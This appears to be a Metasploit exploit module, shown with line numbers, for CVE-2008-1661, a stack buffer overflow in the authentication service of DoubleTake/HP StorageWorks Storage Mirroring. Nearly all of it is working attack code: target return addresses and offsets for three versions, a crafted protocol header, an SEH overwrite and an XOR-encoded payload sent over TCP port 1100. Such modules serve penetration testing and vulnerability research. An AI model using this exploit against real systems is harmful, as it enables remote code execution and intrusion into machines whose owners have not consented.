Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Remote::Seh
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',
15
      'Description'    => %q{
16
          This module exploits a stack buffer overflow in the authentication mechanism of
17
          NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability
18
          was found by Titon of Bastard Labs.
19
      },
20
      'Author'         => [ 'ri0t <ri0t[at]ri0tnet.net>' ],
21
      'References'     =>
22
        [
23
          ['CVE', '2008-1661' ],
24
          ['OSVDB', '45924' ],
25
        ],
26
      'Privileged'     => false,
27
      'DefaultOptions' =>
28
        {
29
          'EXITFUNC' => 'process',
30
        },
31
      'Payload'        =>
32
        {
33
          'Space'    => 500,
34
          'BadChars' => "\x00",
35
        },
36
      'Platform'       => 'win',
37

38
      'Targets'        =>
39
        [
40
          ['doubletake 4.5.0',      { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],
41
          ['doubletake 4.4.2',      { 'Ret' => 0x0074e307, 'Offset' => 944  } ],
42
          ['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],
43
        ],
44
      'DefaultTarget'  => 0,
45
      'DisclosureDate' => '2008-06-04'
46
      ))
47

48
    register_options(
49
      [
50
        Opt::RPORT(1100)
51
      ])
52
  end
53

54
  def exploit
55

56
    connect
57

58
    print_status("Trying target #{target.name}...")
59

60
    header =
61
      "\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
62
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+
63
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+
64
      "\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"
65

66
    xor = Rex::Encoding::Xor::Byte
67
    filler =  rand_text_english(1) * (target['Offset'])
68
    seh = generate_seh_payload(target.ret)
69
    buffercoded = xor.encode(seh+payload.encoded, [0xf0].pack("C"))
70
    sploit =  header + filler + buffercoded[0]
71
    sock.put(sploit)
72

73
    handler
74
    disconnect
75
  end
76
end
77

78